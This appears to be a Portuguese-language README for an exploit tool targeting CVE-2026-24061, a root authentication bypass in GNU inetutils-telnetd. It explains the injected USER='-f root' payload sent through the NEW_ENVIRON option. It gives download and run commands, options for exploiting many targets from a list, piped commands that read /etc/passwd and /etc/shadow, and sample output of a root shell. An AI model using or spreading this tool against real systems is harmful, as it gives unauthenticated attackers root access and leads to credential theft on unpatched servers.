
Prova de Conceito: CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no GNU inetutils-telnetd que permite que atacantes remotos não autenticados obtenham acesso instantâneo a um shell root via exploração maliciosa da opção telnet NEW_ENVIRON.
Uma ferramenta de pesquisa de segurança para explorar a CVE-2026-24061, uma vulnerabilidade crítica de bypass de autenticação remota no GNU inetutils-telnetd que permite acesso instantâneo a shell root sem autenticação.
| Campo | Valor |
|---|---|
| Identificador CVE | CVE-2026-24061 |
| Pontuação CVSS v3.1 | 9.8 (Crítica) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Classificação CWE | CWE-88: Neutralização Incorreta de Delimitadores de Argumento em um Comando |
| Fornecedor | GNU Project |
| Produto | inetutils-telnetd |
| Data de Divulgação | 20 de janeiro de 2026 |
| Patch Disponível | TBD |
Existe uma vulnerabilidade crítica no GNU inetutils-telnetd até a versão 2.7 que permite que atacantes remotos não autenticados ignorem totalmente a autenticação e obtenham acesso imediato a shell root. A vulnerabilidade é explorada por meio da opção telnet NEW_ENVIRON, injetando uma variável de ambiente USER especialmente elaborada com o valor "-f root", que contorna todos os mecanismos de autenticação.
| Faixa de Versões | Status |
|---|---|
| <= 2.7 | Vulnerável |
| > 2.7 | Status do Patch TBD |
A vulnerabilidade origina-se da validação incorreta da variável de ambiente USER no manipulador da opção NEW_ENVIRON do telnetd. Ao processar a opção telnet NEW_ENVIRON, o serviço telnetd não sanitiza o valor da variável USER antes de passá-lo ao processo de login. Ao definir USER como "-f root", o atacante injeta argumentos de linha de comando que forçam a autenticação a ser bem-sucedida para o usuário root sem exigir credenciais.
Todas as dependências fazem parte da biblioteca padrão do Python:
| Pacote | Finalidade |
|---|---|
| socket | Comunicação de rede |
| select | Multiplexação de E/S |
| sys | Interação com o sistema |
| os | Interface com o sistema operacional |
| threading | Exploração concorrente de alvos |
| datetime | Formatação de carimbos de data/hora |
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
Explore uma única instância telnetd:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
Execute comandos de forma não interativa:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Explore vários alvos a partir de um arquivo:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
Formato do Arquivo de Alvos (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Notas:
| Indicador | Cor | Descrição |
|---|---|---|
[SUCCESS] | Verde | Conectado ao alvo com sucesso |
[EXPLOIT] | Verde | Payload de exploração enviado com sucesso |
[INFO] | Azul | Mensagem informativa sobre a operação atual |
[ERROR] | Vermelho | Falha de conexão, timeout ou erro de exploração |
[WARNING] | Amarelo | Mensagem de aviso (atualmente não utilizada) |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
O exploit aproveita a fase de negociação do protocolo telnet: